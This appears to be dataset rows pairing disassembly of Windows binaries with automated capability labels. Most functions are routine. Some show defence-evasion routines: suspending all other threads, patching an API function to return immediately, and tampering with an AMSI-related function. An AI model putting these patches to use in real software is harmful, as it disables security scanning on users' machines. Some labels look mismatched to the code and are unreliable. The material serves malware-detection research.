joyce8/EMBER2024-capa huggingface dataset:
Function at 0x68d58277
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov dword [ebp - 0x1c], 0xffffffff
mov dword [esp + 4], 0x68d580e6
mov dword [esp], 0x68f03a9c
call fcn.68d5784c
mov eax, dword [0x68ef70f0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x68d582be
mov eax, dword [ebp - 0x20]
jmp 0x68d58409
call fcn.68d570e0
mov dword [ebp - 0x20], eax
mov eax, dword [entry3]
test eax, eax
je 0x68d582d5
cmp dword [ebp - 0x20], 0
jne 0x68d582df
mov eax, 0
jmp 0x68d58409
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x24], 1
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x3c], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
call eax
sub esp, 0x10
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x18], eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x1c], 0xffffffff
mov eax, dword [ebp - 0x20]
lea edx, [eax + 0x38]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.68d571d7
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x64], 0
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x20]
lea edi, [eax + 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call eax
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
test eax, eax
jne 0x68d583b1
call sub.msvcrt.dll_abort
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadPriority]
call eax
sub esp, 4
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x6c], eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x68], 0
mov eax, dword [ebp - 0x20]
movzx edx, byte [eax + 0x20]
and edx, 0xffffffcf
or edx, 0x10
mov byte [eax + 0x20], dl
mov eax, dword [0x68ef70f0]
mov edx, dword [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
test eax, eax
jne 0x68d58406
call sub.msvcrt.dll_abort
mov eax, dword [ebp - 0x20]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x68d584cd
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
call fcn.68d58277
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xb4]
mov dword [esp], eax
call fcn.68d5810a
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax + 0x20]
and eax, 0x30
test al, al
jne 0x68d58528
mov eax, dword [ebp - 0x14]
add eax, 0x70
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_longjmp]
call eax
mov eax, dword [0x68ef70f0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x68d58652
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
test eax, eax
jne 0x68d585ba
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdeadbeef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x68d58577
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.68d56fee
mov dword [ebp - 0x10], 0
mov eax, dword [0x68ef70f0]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
jmp 0x68d58652
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x68], 1
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x68d585ea
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x24]
and eax, 4
test eax, eax
je 0x68d58652
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdeadbeef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.68d56fee
mov dword [ebp - 0x10], 0
mov eax, dword [0x68ef70f0]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__endthreadex]
call eax
Function at 0x68d60238
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
cmp dword [ebp + 8], 0
je 0x68d60425
lea eax, [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x100
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__vsnprintf]
call eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x68d60428
lea eax, [ebp - 0x320]
mov dword [esp + 4], eax
mov dword [esp], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathW]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
jne 0x68d6042b
mov dword [esp + 0x14], 0xc7
mov dword [esp + 0x10], 0x79
mov dword [esp + 0xc], 0x21
mov dword [esp + 8], 0xb
lea eax, [ebp - 0x544]
mov dword [esp + 4], eax
mov dword [esp], 0x68efa61c
call fcn.68d61270
lea eax, [ebp - 0x544]
mov dword [esp + 8], eax
lea eax, [ebp - 0x320]
mov dword [esp + 4], eax
lea eax, [ebp - 0x528]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathCombineW]
call eax
sub esp, 0xc
test eax, eax
sete al
test al, al
jne 0x68d6042e
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
lea eax, [ebp - 0x528]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x68d60431
mov dword [ebp - 0x52c], 0
mov dword [ebp - 0x14], 0x68ef817c
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x52c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x52c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
jmp 0x68d60432
nop
jmp 0x68d60432
nop
jmp 0x68d60432
nop
jmp 0x68d60432
nop
jmp 0x68d60432
nop
leave
ret
Function at 0x68d604bc
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call eax
mov dword [ebp - 0xc], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0xffffffff
mov dword [esp + 4], 0
mov dword [esp], 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x68d60507
mov eax, 0
jmp 0x68d605f2
mov dword [ebp - 0x38], 0x1c
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_Thread32First
sub esp, 8
test eax, eax
sete al
test al, al
je 0x68d60546
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
jmp 0x68d605f2
mov eax, dword [ebp - 0x38]
cmp eax, 0xf
jbe 0x68d605bb
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xc], eax
jne 0x68d605bb
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x10], eax
je 0x68d605bb
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1fffff
mov eax, dword [sym.imp.KERNEL32.dll_OpenThread]
call eax
sub esp, 0xc
mov dword [ebp - 0x18], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x18], 0
je 0x68d605bb
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SuspendThread]
call eax
sub esp, 4
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_Thread32Next
sub esp, 8
test eax, eax
setne al
test al, al
jne 0x68d60546
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 1
leave
ret
Function at 0x68d60748
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov byte [ebp - 0x15], 0x31
mov byte [ebp - 0x14], 0xc0
mov byte [ebp - 0x13], 0xc2
mov byte [ebp - 0x12], 0x14
mov byte [ebp - 0x11], 0
mov dword [esp + 0x14], 0x56
mov dword [esp + 0x10], 0xfd
mov dword [esp + 0xc], 5
mov dword [esp + 8], 9
lea eax, [ebp - 0x3e]
mov dword [esp + 4], eax
mov dword [esp], 0x68efa668
call fcn.68d61270
lea eax, [ebp - 0x3e]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x68d607c7
mov dword [esp + 4], 0
mov dword [esp], 0x9d
call fcn.68d61038
jmp 0x68d608d7
mov dword [esp + 0x14], 0x62
mov dword [esp + 0x10], 0xbf
mov dword [esp + 0xc], 0x11
mov dword [esp + 8], 0xd
lea eax, [ebp - 0x2a]
mov dword [esp + 4], eax
mov dword [esp], 0x68efa60c
call fcn.68d60d40
lea eax, [ebp - 0x2a]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x68d60833
mov dword [esp + 4], 0
mov dword [esp], 0xa0
call fcn.68d61038
jmp 0x68d608d7
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], 5
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
test eax, eax
sete al
test al, al
je 0x68d60880
mov dword [esp + 4], 0
mov dword [esp], 0xa4
call fcn.68d61038
jmp 0x68d608d7
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x15]
mov dword [eax], edx
movzx edx, byte [ebp - 0x11]
mov byte [eax + 4], dl
mov eax, dword [ebp - 0x10]
test eax, eax
sete al
test al, al
je 0x68d608b1
mov dword [esp + 4], 0
mov dword [esp], 0xa7
call fcn.68d61038
jmp 0x68d608d7
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x1c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 5
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
leave
ret
Function at 0x68d60f74
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x68d605f4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x68d61016
mov dword [esp + 0x14], 0xce
mov dword [esp + 0x10], 0xd7
mov dword [esp + 0xc], 0x41
mov dword [esp + 8], 0xb
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0x68efa638
call fcn.68d60d40
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call fcn.68d60238
mov dword [esp + 4], 0
mov dword [esp], 0x2af
call fcn.68d61038
jmp 0x68d61034
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
call fcn.68d41f29
nop
leave
ret

Function at 0x68d61270
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
mov dword [ebp - 8], 0
jmp 0x68d61294
mov eax, dword [ebp - 8]
lea edx, [eax + eax]
mov eax, dword [ebp + 0xc]
add eax, edx
mov word [eax], 0
add dword [ebp - 8], 1
mov eax, dword [ebp - 8]
cmp dword [ebp + 0x10], eax
jae 0x68d61280
mov dword [ebp - 0xc], 0
jmp 0x68d612fe
mov eax, dword [ebp + 0x1c]
imul eax, dword [ebp + 0x14]
mov edx, eax
mov eax, dword [ebp + 0x18]
add eax, edx
mov dword [ebp + 0x1c], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
movzx ecx, al
mov eax, dword [ebp + 0x1c]
mov ebx, eax
mov eax, dword [ebp - 0xc]
lea edx, [eax + eax]
mov eax, dword [ebp + 0xc]
add eax, edx
xor ecx, ebx
mov edx, ecx
mov word [eax], dx
mov eax, dword [ebp - 0xc]
lea edx, [eax + eax]
mov eax, dword [ebp + 0xc]
add eax, edx
movzx eax, word [eax]
mov edx, dword [ebp - 0xc]
lea ecx, [edx + edx]
mov edx, dword [ebp + 0xc]
add edx, ecx
movzx eax, al
mov word [edx], ax
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jb 0x68d612a5
nop
nop
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x68d61d64
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [esp + 0x14], 0x56
mov dword [esp + 0x10], 9
mov dword [esp + 0xc], 0x11
mov dword [esp + 8], 8
lea eax, [ebp - 0x42]
mov dword [esp + 4], eax
mov dword [esp], 0x68efa5d8
call fcn.68d61270
lea eax, [ebp - 0x42]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x68d61dcf
mov dword [esp + 4], 0
mov dword [esp], 0x7b
call fcn.68d61038
jmp 0x68d61ee1
mov dword [esp + 0x14], 0x3c
mov dword [esp + 0x10], 0x29
mov dword [esp + 0xc], 0x41
mov dword [esp + 8], 0xe
lea eax, [ebp - 0x2f]
mov dword [esp + 4], eax
mov dword [esp], 0x68efa658
call fcn.68d60d40
lea eax, [ebp - 0x2f]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x68d61e3b
mov dword [esp + 4], 0
mov dword [esp], 0x7e
call fcn.68d61038
jmp 0x68d61ee1
mov dword [ebp - 0xc], 0
jmp 0x68d61ed4
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp eax, 0x49534d41
jne 0x68d61ecf
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 4
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
test eax, eax
setne al
test al, al
je 0x68d61ed0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x18]
mov dword [eax], edx
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x20]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
jmp 0x68d61ed0
nop
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xfff
jle 0x68d61e47
leave
ret
Function at 0x41c830
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x214a150]
xor edx, edx
cmp eax, edx
jne 0x41c856
xor eax, eax
mov byte [eax + 0x214a050], al
inc eax
cmp eax, 0x100
jl 0x41c83e
mov dword [0x214a150], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x214a050
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41c8e7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41c8ba
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41c888
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41c960
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41c9b3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41c99a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x420d30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x68
mov eax, dword [esp + 0x78]
push ebx
push esi
cmp eax, 1
push edi
mov dword [esp + 0x14], ecx
jl 0x420f51
cmp eax, 8
jg 0x420f51
cmp dword [esp + 0x8c], 2
jl 0x420f51
mov eax, dword [esp + 0x7c]
mov esi, dword [eax]
mov edi, dword [eax + 4]
mov ecx, dword [eax + 8]
mov dword [esp + 0x6c], ecx
sub ecx, esi
mov ebx, dword [eax + 0xc]
mov dword [esp + 0x7c], ecx
test ecx, ecx
mov dword [esp + 0x70], ebx
jle 0x420f51
sub ebx, edi
test ebx, ebx
mov dword [esp + 0x20], ebx
jle 0x420f51
mov eax, dword [esp + 0x80]
test eax, eax
je 0x420db7
mov edx, dword [eax]
mov dword [esp + 0x44], edx
mov edx, dword [eax + 4]
mov dword [esp + 0x48], edx
mov edx, dword [eax + 8]
mov dword [esp + 0x4c], edx
mov eax, dword [eax + 0xc]
mov dword [esp + 0x50], eax
xor edx, edx
push ebp
test ebx, ebx
mov dword [esp + 0x1c], 1
mov dword [esp + 0x14], edx
jle 0x420f3a
mov ebp, dword [0x488438]
mov eax, ebx
mov dword [esp + 0x10], 0x32
sub eax, edx
cmp eax, 0x32
jg 0x420de9
mov dword [esp + 0x10], eax
xor eax, eax
test ecx, ecx
jle 0x420f21
mov ebx, dword [esp + 0x10]
add ebx, edx
mov dword [esp + 0x20], ebx
sub ecx, eax
cmp ecx, 0x32
jle 0x420e09
mov ecx, 0x32
lea ebx, [ecx + eax]
mov ecx, dword [esp + 0x20]
push ecx
push ebx
push edx
lea edx, [esp + 0x34]
push eax
push edx
call dword [0x48844c]
push edi
lea eax, [esp + 0x2c]
push esi
push eax
call ebp
mov eax, dword [esp + 0x84]
test eax, eax
je 0x420e48
lea ecx, [esp + 0x48]
lea edx, [esp + 0x28]
push ecx
lea eax, [esp + 0x2c]
push edx
push eax
call dword [0x488444]
lea ecx, [esp + 0x28]
push ecx
call dword [0x488408]
test eax, eax
jne 0x420f08
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], edx
mov edx, dword [esp + 0x34]
mov dword [esp + 0x40], ecx
mov eax, edi
mov ecx, esi
mov dword [esp + 0x44], edx
neg eax
neg ecx
push eax
lea edx, [esp + 0x3c]
push ecx
push edx
call ebp
mov edx, dword [esp + 0x40]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x60], edx
lea edx, [esp + 0x58]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x44]
push edx
mov edx, dword [esp + 0x94]
mov dword [esp + 0x60], ecx
mov ecx, dword [esp + 0x78]
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x74]
push edx
mov edx, dword [esp + 0x94]
sub ecx, edi
sub eax, esi
push edx
push ecx
mov ecx, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x9c]
push eax
call fcn.00420340
cmp eax, 1
jne 0x420f32
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x80]
push edx
push eax
push ecx
mov ecx, dword [esp + 0x28]
call fcn.00420bf0
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0x14]
mov eax, ebx
cmp eax, ecx
jl 0x420dfd
mov ebx, dword [esp + 0x24]
add edx, dword [esp + 0x10]
cmp edx, ebx
mov dword [esp + 0x14], edx
jge 0x420f3a
jmp 0x420dd4
mov dword [esp + 0x1c], 0
mov ecx, dword [esp + 0x18]
call fcn.0041ff40
mov eax, dword [esp + 0x1c]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x68
ret 0x1c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x68
ret 0x1c